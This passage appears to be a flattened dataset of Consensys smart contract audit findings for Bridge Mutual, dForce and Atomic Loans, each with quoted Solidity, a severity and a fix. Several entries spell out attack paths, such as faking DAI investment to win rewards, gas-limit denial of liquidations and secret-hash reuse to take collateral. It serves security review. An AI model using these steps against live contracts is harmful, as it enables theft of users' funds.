Anyone can win all the funds from the LiquidityMining without investing any DAI ", "body": " Description When a user decides to investDAI in the LiquidityMining contract, the policy book address is passed as a parameter: code_new/contracts/LiquidityMining.sol:L198 function investDAI(uint256 _tokensAmount, address _policyBookAddr) external override { But this parameter is never checked and only used at the end of the function: code_new/contracts/LiquidityMining.sol:L223 IPolicyBook(_policyBookAddr).addLiquidityFromLM(msg.sender, _tokensAmount); The attacker can pass the address of a simple multisig that will process this transaction successfully without doing anything. And pretend to invest a lot of DAI without actually doing that to win all the rewards in the LiquidityMining contract. Recommendation Check that the pool address is valid. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.2 Liquidity withdrawal can be blocked ", "body": " Description The main problem in that issue is that the liquidity provider may face many potential issues when withdrawing the liquidity. Under some circumstances, a normal user will never be able to withdraw the liquidity. This issue consists of multiple factors that are interconnected and share the same solution. There are no partial withdrawals when in the queue. When the withdrawal request is added to the queue, it can only be processed fully: code_new/contracts/PolicyBook.sol:L444-L451 address _currentAddr = withdrawalQueue.head(); uint256 _tokensToWithdraw = withdrawalsInfo[_currentAddr].withdrawalAmount; uint256 _amountInDAI = convertDAIXtoDAI(_tokensToWithdraw); if (_availableLiquidity < _amountInDAI) { break; } But when the request is not in the queue, it can still be processed partially, and the rest of the locked tokens will wait in the queue. code_new/contracts/PolicyBook.sol:L581-L590 } else if (_availableLiquidity < convertDAIXtoDAI(_tokensToWithdraw)) { uint256 _availableDAIxTokens = convertDAIToDAIx(_availableLiquidity); uint256 _currentWithdrawalAmount = _tokensToWithdraw.sub(_availableDAIxTokens); withdrawalsInfo[_msgSender()].withdrawalAmount = _currentWithdrawalAmount; aggregatedQueueAmount = aggregatedQueueAmount.add(_currentWithdrawalAmount); withdrawalQueue.push(_msgSender()); _withdrawLiquidity(_msgSender(), _availableDAIxTokens); } else { If there s a huge request in the queue, it can become a bottleneck that does not allow others to withdraw even if there is enough free liquidity. Withdrawals can be blocked forever by the bots. The withdrawal can only be requested if there are enough free funds in the contract. But once these funds appear, the bots can instantly buy a policy, and for the normal users, it will be impossible to request the withdrawal. Even when a withdrawal is requested and then in the queue, the same problem appears at that stage. The policy can be bought even if there are pending withdrawals in the queue. Recommendation One of the solutions would be to implement the following changes, but the team should thoroughly consider them: Allow people to request the withdrawal even if there is not enough liquidity at the moment. Do not allow people to buy policies if there are pending withdrawals in the queue and cannot be executed. (Optional) Even when the queue is empty, do not allow people to buy policies if there is not enough liquidity for the pending requests (that are not yet in the queue). (Optional if the points above are implemented) Allow partial executions of the withdrawals in the queue. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.3 The totalCoverTokens can be decreased before the claim is committed ", "body": " Description The totalCoverTokens is decreased right after the policy duration ends (_endEpochNumber). When that happens, the liquidity providers can withdraw their funds: code_new/contracts/PolicyBook.sol:L262-L265 policyHolders[_msgSender()] = PolicyHolder(_coverTokens, currentEpochNumber, _endEpochNumber, _totalPrice, _reinsurancePrice); epochAmounts[_endEpochNumber] = epochAmounts[_endEpochNumber].add(_coverTokens); code_new/contracts/PolicyBook.sol:L343-L351 uint256 _countOfPassedEpoch = block.timestamp.sub(epochStartTime).div(EPOCH_DURATION); newTotalCoverTokens = totalCoverTokens; lastEpochUpdate = currentEpochNumber; newEpochNumber = _countOfPassedEpoch.add(1); for (uint256 i = lastEpochUpdate; i < newEpochNumber; i++) { newTotalCoverTokens = newTotalCoverTokens.sub(epochAmounts[i]); On the other hand, the claim can be created while the policy is still active . And is considered active until one week after the policy expired: code_new/contracts/PolicyRegistry.sol:L50-L58 function isPolicyActive(address _userAddr, address _policyBookAddr) public override view returns (bool) { PolicyInfo storage _currentInfo = policyInfos[_userAddr][_policyBookAddr]; if (_currentInfo.endTime == 0) { return false; return _currentInfo.endTime.add(STILL_CLAIMABLE_FOR) > block.timestamp; By the time when the claim is created + voted, the liquidity provider can potentially withdraw all of their funds already, and the claim will fail. Recommendation Make sure that there will always be enough funds for the claim. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.4 The totalCoverTokens is not decreased after the claim happened ", "body": " Description When the claim happens and the policy is removed, the totalCoverTokens should be decreased instantly, that s why the scheduled reduction value is removed: code_new/contracts/PolicyBook.sol:L228-L236 PolicyHolder storage holder = policyHolders[claimer]; epochAmounts[holder.endEpochNumber] = epochAmounts[holder.endEpochNumber].sub(holder.coverTokens); totalLiquidity = totalLiquidity.sub(claimAmount); daiToken.transfer(claimer, claimAmount); delete policyHolders[claimer]; policyRegistry.removePolicy(claimer); But the totalCoverTokens is not changed and will have the coverage from the removed policy forever. Recommendation Decrease the totalCoverTokens inside the commitClaim function. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.5 The Queue remove function does not remove the item completely ", "body": " Description When removing an item in a queue, the following function is used: code_new/contracts/helpers/Queue.sol:L78-L98 function remove(UniqueAddressQueue storage baseQueue, address addrToRemove) internal returns (bool) { if (!contains(baseQueue, addrToRemove)) { return false; if (baseQueue.HEAD == addrToRemove) { return removeFirst(baseQueue); if (baseQueue.TAIL == addrToRemove) { return removeLast(baseQueue); address prevAddr = baseQueue.queue[addrToRemove].prev; address nextAddr = baseQueue.queue[addrToRemove].next; baseQueue.queue[prevAddr].next = nextAddr; baseQueue.queue[nextAddr].prev = prevAddr; baseQueue.queueLength--; return true; As the result, the baseQueue.queue[addrToRemove] is not deleted, so the contains function will still return True after the removal. Recommendation Remove the element from the queue completely. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.6 Optimization issue ", "body": " Description The codebase is huge, and there are still a lot of places where these complications and gas efficiency can be improved. Examples _updateTopUsers, _updateGroupLeaders, _updateLeaderboard are having a similar mechanism of adding users to a sorted set which makes more storage operations than needed: code_new/contracts/LiquidityMining.sol:L473-L486 uint256 _tmpIndex = _currentIndex - 1; uint256 _currentUserAmount = usersTeamInfo[msg.sender].stakedAmount; while (_currentUserAmount > usersTeamInfo[topUsers[_tmpIndex]].stakedAmount) { address _tmpAddr = topUsers[_tmpIndex]; topUsers[_tmpIndex] = msg.sender; topUsers[_tmpIndex + 1] = _tmpAddr; if (_tmpIndex == 0) { break; } _tmpIndex--; } Instead of doing 2 operations per item that is lower than the new_item, same can be done with one operation: while topUsers[_tmpIndex] is lower than the new itemtopUsers[_tmpIndex + 1] = topUsers[_tmpIndex]. creating the Queue library looks like overkill for the intended task. It is only used for the withdrawal queue in the PolicyBook. The structure stores and processes extra data, which is unnecessary and more expensive. A larger codebase also has a higher chance of introducing a bug (and it happened here https://github.com/ConsenSys/bridge-mutual-audit-2021-03/issues/25). It s usually better to have a simpler and optimized version like described here issue 5.14. There are a few for loops that are using uint8 iterators. It s unnecessary and can be even more expensive because, under the hood, it s additionally converted to uint256 all the time. In general, shrinking data to uint8 makes sense to optimize storage slots, but that s not the case here. The value that is calculated in a loop can be obtained simpler by just having a 1-line formula: code_new/contracts/LiquidityMining.sol:L351-L367 function _getAvailableMonthForReward(address _userAddr) internal view returns (uint256) { uint256 _oneMonth = 30 days; uint256 _startRewardTime = getEndLMTime(); uint256 _countOfRewardedMonth = countsOfRewardedMonth[usersTeamInfo[_userAddr].teamAddr][_userAddr]; uint256 _numberOfMonthForReward; for (uint256 i = _countOfRewardedMonth; i < MAX_MONTH_TO_GET_REWARD; i++) { if (block.timestamp > _startRewardTime.add(_oneMonth.mul(i))) { _numberOfMonthForReward++; } else { break; } } return _numberOfMonthForReward; } The mapping is using 2 keys, but the first key is strictly defined by the second one, so there s no need for it: code_new/contracts/LiquidityMining.sol:L60-L61 // Referral link => Address => count of rewarded month mapping (address => mapping (address => uint256)) public countsOfRewardedMonth; There are a lot of structures in the code with duplicated and unnecessary data, for example: code_new/contracts/LiquidityMining.sol:L42-L48 struct UserTeamInfo { string teamName; address teamAddr; uint256 stakedAmount; bool isNFTDistributed; } Here the structure is created for every team member, duplicating the team name for each member. Recommendation Optimize and simplify the code. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.7 Proper usage of the transfer and the transferFrom functions ", "body": " Description Many ERC-20 transfers in the code are just called without checking the return values: code_new/contracts/PolicyBook.sol:L269-L270 daiToken.transferFrom(_msgSender(), reinsurancePoolAddress, _reinsurancePrice); daiToken.transferFrom(_msgSender(), address(this), _price); code_new/contracts/PolicyBook.sol:L556-L559 function _unlockTokens(uint256 _amountToUnlock) internal { this.transfer(_msgSender(), _amountToUnlock); delete withdrawalsInfo[_msgSender()]; code_new/contracts/LiquidityMining.sol:L278 bmiToken.transfer(msg.sender, _userReward); Even though the tokens in these calls are not arbitrary (DAI, BMI, DAIx, stkBMIToken) and probably always return True or call revert, it s still better to comply with the ERC-20 standard and make sure that the transfer went well. Recommendation The best solution would be better to always use the safe version of the transfers from openzeppelin/contracts/token/ERC20/SafeERC20.sol. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.8 The price and the duration of a policy may be unpredictable ", "body": " Description When the user is buying a policy, the price is calculated based on the current liquidity/coverage ratio, and the duration is calculated based on the current timestamp. A malicious actor can front-run the buyer (e.g., buy short-term insurance with a huge coverage) and increase the policy s price. Or the transaction can be executed much later for some reason, and the number of the totalSeconds may be larger, the coverage period can be between _epochsNumber - 1 and _epochsNumber. Recommendation Given the unpredictability of the price, it s better to pass the hard limit for the insurance price as a parameter. Also, as an opinion, you can add a deadline for the transaction as a parameter. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.9 The aggregatedQueueAmount value is used inconsistently ", "body": " Description The aggregatedQueueAmount variable represents the cumulative DAIx amount in the queue that is waiting for the withdrawal. When requesting the withdrawal, this value is used as the amount of DAI that needs to be withdrawn, which may be significantly different: code_new/contracts/PolicyBook.sol:L539-L540 require(totalLiquidity >= totalCoverTokens.add(aggregatedQueueAmount).add(_daiTokensToWithdraw), \"PB: Not enough available liquidity\"); That may lead to allowing the withdrawal request even if it shouldn t be allowed and the opposite. Recommendation Convert aggregatedQueueAmount to DAI in the _requestWithdrawal. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.10 The claim can only be done once ", "body": " Description When the claim happens, the policy is removed afterward: code_new/contracts/PolicyBook.sol:L222-L237 function commitClaim(address claimer, uint256 claimAmount) external override onlyClaimVoting updateBMIDAIXStakingReward PolicyHolder storage holder = policyHolders[claimer]; epochAmounts[holder.endEpochNumber] = epochAmounts[holder.endEpochNumber].sub(holder.coverTokens); totalLiquidity = totalLiquidity.sub(claimAmount); daiToken.transfer(claimer, claimAmount); delete policyHolders[claimer]; policyRegistry.removePolicy(claimer); If the claim amount is much lower than the coverage, the users are incentivized not to submit it and wait until the end of the coverage period to accumulate all the claims into one. Recommendation Allow the policyholders to submit multiple claims until the coverTokens is not reached. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "6.11 Users are incentivised to invest right before the getEndLMTime to join the winning team ", "body": " Description When investing, there are 3 types of rewards in the LiquidityMining contracts: for the top users, for the top teams, for the group leaders in the top teams. EVERY member from the top teams is getting a reward proportional to the provided stake. Only the final snapshot of the stakes is used to determine the leaderboard which is right after the getEndLMTime. Everyone can join any team, and everyone s goal is to go to the winning teams. The best way to do so is to wait right until the end of the period and join the most beneficial team. Recommendation It s better to avoid extra incentives that create race conditions. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/bridge-mutual/"}, {"title": "4.1 iETH.exchangeRateStored may not be accurate when invoked from external contracts ", "body": " Resolution This issue was addressed in commit 9876e3a by using a modifier to track the current Description iETH.exchangeRateStored returns the exchange rate of the contract as a function of the current cash of the contract. In the case of iETH, current cash is calculated as the contract s ETH balance minus msg.value: code/contracts/iETH.sol:L54-L59 /** @dev Gets balance of this contract in terms of the underlying / function _getCurrentCash() internal view override returns (uint256) { return address(this).balance.sub(msg.value); msg.value is subtracted because the majority of iETH methods are payable, and msg.value is implicitly added to a contract s balance before execution begins. If msg.value were not subtracted, the value sent with a call could be used to inflate the contract s exchange rate artificially. Examples This problem occurs in multiple locations in the Controller: beforeMint uses the exchange rate to ensure the supply capacity of the market is not reached. In this case, inflation would prevent the entire supply capacity of the market from being utilized: code/contracts/Controller.sol:L670-L678 // Check the iToken's supply capacity, -1 means no limit uint256 _totalSupplyUnderlying = IERC20Upgradeable(_iToken).totalSupply().rmul( IiToken(_iToken).exchangeRateStored() ); require( _totalSupplyUnderlying.add(_mintAmount) <= _market.supplyCapacity, \"Token supply capacity reached\" ); beforeLiquidateBorrow uses the exchange rate via calcAccountEquity to calculate the value of the borrower s collateral. In this case, inflation would increase the account s equity, which could prevent the liquidator from liquidating: code/contracts/Controller.sol:L917-L919 (, uint256 _shortfall, , ) = calcAccountEquity(_borrower); require(_shortfall > 0, \"Account does not have shortfall\"); Recommendation Rather than having the Controller query the iETH.exchangeRateStored, the exchange rate could be passed-in to Controller methods as a parameter. Ensure no other components in the system rely on iETH.exchangeRateStored after being called from iETH. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/03/dforce-lending-protocol-review/"}, {"title": "4.2 Unbounded loop in Controller.calcAccountEquity allows DoS on liquidation ", "body": " Description Controller.calcAccountEquity calculates the relative value of a user s supplied collateral and their active borrow positions. Users may mark an arbitrary number of assets as collateral, and may borrow from an arbitrary number of assets. In order to calculate the value of both of these positions, this method performs two loops. First, to calculate the sum of the value of a user s collateral: code/contracts/Controller.sol:L1227-L1233 // Calculate value of all collaterals // collateralValuePerToken = underlyingPrice * exchangeRate * collateralFactor // collateralValue = balance * collateralValuePerToken // sumCollateral += collateralValue uint256 _len = _accountData.collaterals.length(); for (uint256 i = 0; i < _len; i++) { IiToken _token = IiToken(_accountData.collaterals.at(i)); Second, to calculate the sum of the value of a user s borrow positions: code/contracts/Controller.sol:L1263-L1268 // Calculate all borrowed value // borrowValue = underlyingPrice * underlyingBorrowed / borrowFactor // sumBorrowed += borrowValue _len = _accountData.borrowed.length(); for (uint256 i = 0; i < _len; i++) { IiToken _token = IiToken(_accountData.borrowed.at(i)); From dForce, we learned that 200 or more assets would be supported by the Controller. This means that a user with active collateral and borrow positions on all 200 supported assets could force any calcAccountEquity action to perform some 400 iterations of these loops, each with several expensive external calls. Examples By modifying dForce s unit test suite, we showed that an attacker could force the cost of calcAccountEquity above the block gas limit. This would prevent all of the following actions, as each relies on calcAccountEquity: iToken.transfer and iToken.transferFrom iToken.redeem and iToken.redeemUnderlying iToken.borrow iToken.liquidateBorrow and iToken.seize The following actions would still be possible: iToken.mint iToken.repayBorrow and iToken.repayBorrowBehalf As a result, an attacker may abuse the unbounded looping in calcAccountEquity to prevent the liquidation of underwater positions. We provided dForce with a PoC here: gist. Recommendation There are many possible ways to address this issue. Some ideas have been outlined below, and it may be that a combination of these ideas is the best approach: In general, cap the number of markets and borrowed assets a user may have: The primary cause of the DoS is that the number of collateral and borrow positions held by a user is only restricted by the number of supported assets. The PoC provided above showed that somewhere around 150 collateral positions and 150 borrow positions, the gas costs of calcAccountEquity use most of the gas in a block. Given that gas prices often spike along with turbulent market conditions and that liquidations are far more likely in turbulent market conditions, a cap on active markets / borrows should be much lower than 150 each so as to keep the cost of liquidations as low as possible. dForce should perform their own gas cost estimates to determine a cap, and choose a safe, low value. Estimates should be performed on the high-level liquidateBorrow method, so as to simulate an actual liquidation event. Additionally, estimates should factor in a changing block gas limit, and the possibility of opcode gas costs changing in future forks. It may be wise to make this cap configurable, so that the limits may be adjusted for future conditions. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/03/dforce-lending-protocol-review/"}, {"title": "4.3 Fix utilization rate computation and respect reserves when lending ", "body": " Resolution The dForce team has informed us that the only two interest rate models that are still in use are 2a0e974 and c11fa9b. Description The utilization rate UR of an asset forms the basis for interest calculations and is defined as borrows / ( borrows + cash - reserves). code/contracts/InterestRateModel/InterestRateModel.sol:L72-L88 /** @notice Calculate the utilization rate: `_borrows / (_cash + _borrows - _reserves)` @param _cash Asset balance @param _borrows Asset borrows @param _reserves Asset reserves @return Asset utilization [0, 1e18] / function utilizationRate( uint256 _cash, uint256 _borrows, uint256 _reserves ) internal pure returns (uint256) { // Utilization rate is 0 when there are no borrows if (_borrows == 0) return 0; return _borrows.mul(BASE).div(_cash.add(_borrows).sub(_reserves)); issue 4.4. Recommendation If reserves > cash \u2014 or, in other words, available cash is negative \u2014 this means part of the reserves have been borrowed, which ideally shouldn t happen in the first place. However, the reserves grow automatically over time, so it might be difficult to avoid this entirely. We recommend (1) avoiding this situation whenever it is possible and (2) fixing the UR computation such that it deals more gracefully with this scenario. More specifically: Loan amounts should not be checked to be smaller than or equal to cash but cash - reserves (which might be negative). Note that the current check against cash happens more or less implicitly because the transfer just fails for insufficient cash. Make the utilization rate computation return 1 if reserves > cash (unless borrows == 0, in which case return 0 as is already the case). Remark Internally, the utilization rate and other fractional values are scaled by 1e18. The discussion above has a more conceptual than technical perspective, so we used unscaled numbers. When making changes to the code, care must be taken to apply the scaling. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/dforce-lending-protocol-review/"}, {"title": "4.4 If Base._updateInterest fails, the entire system will halt ", "body": " Resolution dForce removed 27f9a28. Description Before executing most methods, the iETH and iToken contracts update interest accumulated on borrows via the method Base._updateInterest. This method uses the contract s interest rate model to calculate the borrow interest rate. If the calculated value is above maxBorrowRate (0.001e18), the method will revert: code/contracts/TokenBase/Base.sol:L92-L107 function _updateInterest() internal virtual override { InterestLocalVars memory _vars; _vars.currentCash = _getCurrentCash(); _vars.totalBorrows = totalBorrows; _vars.totalReserves = totalReserves; // Gets the current borrow interest rate. _vars.borrowRate = interestRateModel.getBorrowRate( _vars.currentCash, _vars.totalBorrows, _vars.totalReserves ); require( _vars.borrowRate <= maxBorrowRate, \"_updateInterest: Borrow rate is too high!\" ); If this method reverts, the entire contract may halt and be unrecoverable. The only ways to change the values used to calculate this interest rate lie in methods that must first call Base._updateInterest. In this case, those methods would fail. One other potential avenue for recovery exists: the Owner role may update the interest rate calculation contract via TokenAdmin._setInterestRateModel: code/contracts/TokenBase/TokenAdmin.sol:L46-L63 /** @dev Sets a new interest rate model. @param _newInterestRateModel The new interest rate model. / function _setInterestRateModel( IInterestRateModelInterface _newInterestRateModel ) external virtual onlyOwner settleInterest { // Gets current interest rate model. IInterestRateModelInterface _oldInterestRateModel = interestRateModel; // Ensures the input address is the interest model contract. require( _newInterestRateModel.isInterestRateModel(), \"_setInterestRateModel: This is not the rate model contract!\" ); // Set to the new interest rate model. interestRateModel = _newInterestRateModel; However, this method also calls Base._updateInterest before completing the upgrade, so it would fail as well. Examples We used interest rate parameters taken from dForce s unit tests to determine whether any of the interest rate models could return a borrow rate that would cause this failure. The default InterestRateModel is deployed using these values: Plugging these values in to their borrow rate calculations, we determined that the utilization rate of the contract would need to be 2103e18 in order to reach the max borrow rate and trigger a failure. Plugging this in to the formula for utilization rate, we derived the following ratio: reserves >= (2102/2103)*borrows + cash With the given interest rate parameters, if token reserves, total borrows, and underlying cash meet the above ratio, the interest rate model would return a borrow rate above the maximum, leading to the failure conditions described above. Recommendation Note that the examples above depend on the specific interest rate parameters configured by dForce. In general, with reasonable interest rate parameters and a reasonable reserve ratio, it seems unlikely that the maximum borrow rate will be reached. Consider implementing the following changes as a precaution: As utilization rate should be between 0 and 1 (scaled by 1e18), prevent utilization rate calculations from returning anything above 1e18. See issue 4.3 for a more thorough discussion of this topic. Remove the settleInterest modifier from TokenAdmin._setInterestRateModel: In a worst case scenario, this will allow the Owner role to update the interest rate model without triggering the failure in Base._updateInterest. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/dforce-lending-protocol-review/"}, {"title": "4.5 RewardDistributor requirement prevents transition of Owner role to smart contract ", "body": " Resolution This issue was addressed in commit 4f1e31b by invoking Description From dForce, we learned that the eventual plan for the system Owner role is to use a smart contract (a multisig or DAO). However, a requirement in RewardDistributor would prevent the onlyOwner method _setDistributionFactors from working in this case. _setDistributionFactors calls updateDistributionSpeed, which requires that the caller is an EOA: code/contracts/RewardDistributor.sol:L179-L189 /** @notice Update each iToken's distribution speed according to current global speed @dev Only EOA can call this function / function updateDistributionSpeed() public override { require(msg.sender == tx.origin, \"only EOA can update speeds\"); require(!paused, \"Can not update speeds when paused\"); // Do the actual update _updateDistributionSpeed(); In the event the Owner role is a smart contract, this statement would necessitate a complicated upgrade to restore full functionality. Recommendation Rather than invoking updateDistributionSpeed, have _setDistributionFactors directly call the internal helper _updateDistributionSpeed, which does not require the caller is an EOA. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/dforce-lending-protocol-review/"}, {"title": "4.6 MSDController._withdrawReserves does not update interest before withdrawal ", "body": " Resolution This issue was addressed in commit 2b5946e by changing calcEquity to update the interest of each MSDMinter assigned to an MSD asset. Note that this method iterates over each MSDMinter, which may cause out-of-gas issues if the number of MSDMinters grows. dForce has informed us that the MSDMinter role will only be held by two contracts per asset (iMSD and MSDS). Description MSDController._withdrawReserves allows the Owner to mint the difference between an MSD asset s accumulated debt and earnings: code/contracts/msd/MSDController.sol:L182-L195 function _withdrawReserves(address _token, uint256 _amount) external onlyOwner onlyMSD(_token) (uint256 _equity, ) = calcEquity(_token); require(_equity >= _amount, \"Token do not have enough reserve\"); // Increase the token debt msdTokenData[_token].debt = msdTokenData[_token].debt.add(_amount); // Directly mint the token to owner MSD(_token).mint(owner, _amount); Debt and earnings are updated each time the asset s iMSD and MSDS contracts are used for the first time in a given block. Because _withdrawReserves does not force an update to these values, it is possible for the withdrawal amount to be calculated using stale values. Recommendation Ensure _withdrawReserves invokes iMSD.updateInterest() and MSDS.updateInterest(). ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/03/dforce-lending-protocol-review/"}, {"title": "4.7 permit functions use deployment-time instead of execution-time chain ID ", "body": " Resolution This has been addressed in commits a7b8fb0 and d659f2b. The approach taken by the dForce team is to include the chain ID separately in the digest to be signed and keep the deployment/initialization-time chain ID in the Description EIP-2612-style EIP-712 signatures. We focus this discussion on the code/contracts/TokenBase/Base.sol:L23-L56 function _initialize( string memory _name, string memory _symbol, uint8 _decimals, IControllerInterface _controller, IInterestRateModelInterface _interestRateModel ) internal virtual { controller = _controller; interestRateModel = _interestRateModel; accrualBlockNumber = block.number; borrowIndex = BASE; flashloanFeeRatio = 0.0008e18; protocolFeeRatio = 0.25e18; __Ownable_init(); __ERC20_init(_name, _symbol, _decimals); __ReentrancyGuard_init(); uint256 chainId; assembly { chainId := chainid() DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\" ), keccak256(bytes(_name)), keccak256(bytes(\"1\")), chainId, address(this) ); The DOMAIN_SEPARATOR is supposed to prevent replay attacks by providing context for the signature; it is hashed into the digest to be signed. code/contracts/TokenBase/Base.sol:L589-L610 bytes32 _digest = keccak256( abi.encodePacked( \"\\x19\\x01\", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, _owner, _spender, _value, _currentNonce, _deadline ); address _recoveredAddress = ecrecover(_digest, _v, _r, _s); require( _recoveredAddress != address(0) && _recoveredAddress == _owner, \"permit: INVALID_SIGNATURE!\" ); The chain ID is not necessarily constant, though. In the event of a chain split, only one of the resulting chains gets to keep the original chain ID and the other will have to use a new one. With the current pattern, a signature will be valid on both chains; if the DOMAIN_SEPARATOR is recomputed for every verification, a signature will only be valid on the chain that keeps the original ID \u2014 which is probably the intended behavior. Remark The reason why the not necessarily constant chain ID is part of the supposedly constant DOMAIN_SEPARATOR is that EIP-712 predates the introduction of the CHAINID opcode. Originally, it was not possible to query the chain ID via opcode, so it had to be supplied to the constructor of a contract by the deployment script. Recommendation ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/dforce-lending-protocol-review/"}, {"title": "4.8 iETH.receive() does not support contracts executing during their constructor ", "body": " Description iETH.receive() requires that the caller is a contract: code/contracts/iETH.sol:L187-L195 /** @notice receive ETH, used for flashloan repay. / receive() external payable { require( msg.sender.isContract(), \"receive: Only can call from a contract!\" ); This method uses the extcodesize of an account to check that the account belongs to a contract. However, contracts currently executing their constructor will have an extcodesize of 0, and will not be able to use this method. This is unlikely to cause significant issues, but dForce may want to consider supporting this edge case. Recommendation Use msg.sender != tx.origin as a more reliable method to detect use by a contract. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/03/dforce-lending-protocol-review/"}, {"title": "4.1 Intentional secret reuse can block borrower and lender from accepting liquidation payment ", "body": " Resolution This is fixed in AtomicLoans/atomicloans-eth-contracts#65. Description For Dave (the liquidator) to claim the collateral he s purchasing, he must reveal secret D. Once that secret is revealed, Alice and Bob (the borrower and lender) can claim the payment. Secrets must be provided via the Sales.provideSecret() function: code/ethereum/contracts/Sales.sol:L193-L200 function provideSecret(bytes32 sale, bytes32 secret_) external { require(sales[sale].set); if (sha256(abi.encodePacked(secret_)) == secretHashes[sale].secretHashA) { secretHashes[sale].secretA = secret_; } else if (sha256(abi.encodePacked(secret_)) == secretHashes[sale].secretHashB) { secretHashes[sale].secretB = secret_; } else if (sha256(abi.encodePacked(secret_)) == secretHashes[sale].secretHashC) { secretHashes[sale].secretC = secret_; } else if (sha256(abi.encodePacked(secret_)) == secretHashes[sale].secretHashD) { secretHashes[sale].secretD = secret_; } else { revert(); } Note that if Dave chooses the same secret hash as either Alice, Bob, or Charlie (arbiter), there is no way to set secretHashes[sale].secretD because one of the earlier conditionals will execute. For Alice and Bob to later receive payment, they must be able to provide Dave s secret: code/ethereum/contracts/Sales.sol:L218-L222 function accept(bytes32 sale) external { require(!accepted(sale)); require(!off(sale)); require(hasSecrets(sale)); require(sha256(abi.encodePacked(secretHashes[sale].secretD)) == secretHashes[sale].secretHashD); Dave can exploit this to obtain the collateral for free: Dave looks at Alice s secret hashes to see which will be used in the sale. Dave begins the liquidation process, using the same secret hash. Alice and Bob reveal their secrets A and B through the process of moving the collateral. Dave now knows the preimage for the secret hash he provided. It was revealed by Alice already. Dave uses that secret to obtain the collateral. Alice and Bob now want to receive payment, but they re unable to provide Dave s secret to the Sales smart contract due to the order of conditionals in provideSecret(). After an expiration, Dave can claim a refund. Mitigating factors Alice and Bob could notice that Dave chose a duplicate secret hash and refuse to proceed with the sale. This is not something they are likely to do. Recommendation Either change the way provideSecret() works to allow for duplicate secret hashes or reject duplicate hashes in create(). ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/atomic-loans/"}, {"title": "4.2 There is no way to convert between custom and non-custom funds ", "body": " Resolution Users who want to switch between custom and non-custom funds can create a new address to do so. This is not actually a big burden because lenders need to use agent software to manage their funds anyway. That workflow typically involves generating a new address because the private key needs to be given to the agent software. Description Each fund is created using either Funds.create() or Funds.createCustom(). Both enforce a limitation that there can only be one fund per account: code/ethereum/contracts/Funds.sol:L348-L355 function create( uint256 maxLoanDur_, uint256 maxFundDur_, address arbiter_, bool compoundEnabled_, uint256 amount_ ) external returns (bytes32 fund) { require(fundOwner[msg.sender].lender != msg.sender || msg.sender == deployer); // Only allow one loan fund per address code/ethereum/contracts/Funds.sol:L383-L397 function createCustom( uint256 minLoanAmt_, uint256 maxLoanAmt_, uint256 minLoanDur_, uint256 maxLoanDur_, uint256 maxFundDur_, uint256 liquidationRatio_, uint256 interest_, uint256 penalty_, uint256 fee_, address arbiter_, bool compoundEnabled_, uint256 amount_ ) external returns (bytes32 fund) { require(fundOwner[msg.sender].lender != msg.sender || msg.sender == deployer); // Only allow one loan fund per address These functions are the only place where bools[fund].custom is set, and there s no way to delete a fund once it exists. This means there s no way for a given account to switch between a custom and non-custom fund. This could be a problem if, for example, the default parameters change in a way that a user finds unappealing. They may want to switch to using a custom fund but find themselves unable to do so without moving to a new Ethereum account. Recommendation Either allow funds to be deleted or allow funds to be switched between custom and non-custom. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/atomic-loans/"}, {"title": "4.3 Funds.maxFundDur has no effect if maxLoanDur is set ", "body": " Resolution This is fixed in AtomicLoans/atomicloans-eth-contracts#68. Description Funds.maxFundDur specifies the maximum amount of time a fund should be active. It s checked in request() to ensure the duration of the loan won t exceed that time, but the check is skipped if maxLoanDur is set: code/ethereum/contracts/Funds.sol:L510-L514 if (maxLoanDur(fund) > 0) { require(loanDur_ <= maxLoanDur(fund)); } else { require(now + loanDur_ <= maxFundDur(fund)); Examples If a user sets maxLoanDur (the maximum loan duration) to 1 week and sets the maxFundDur (timestamp when all loans should be complete) to December 1st, then there can actually be a loan that ends on December 7th. Recommendation Check against maxFundDur even when maxLoanDur is set. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/atomic-loans/"}, {"title": "4.4 In Funds, maxFundDur is misnamed ", "body": " Resolution This is fixed in AtomicLoans/atomicloans-eth-contracts#66. Description This is a timestamp, not a duration. Recommendation Rename to something with timestamp or perhaps expiration in the name. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/atomic-loans/"}, {"title": "4.5 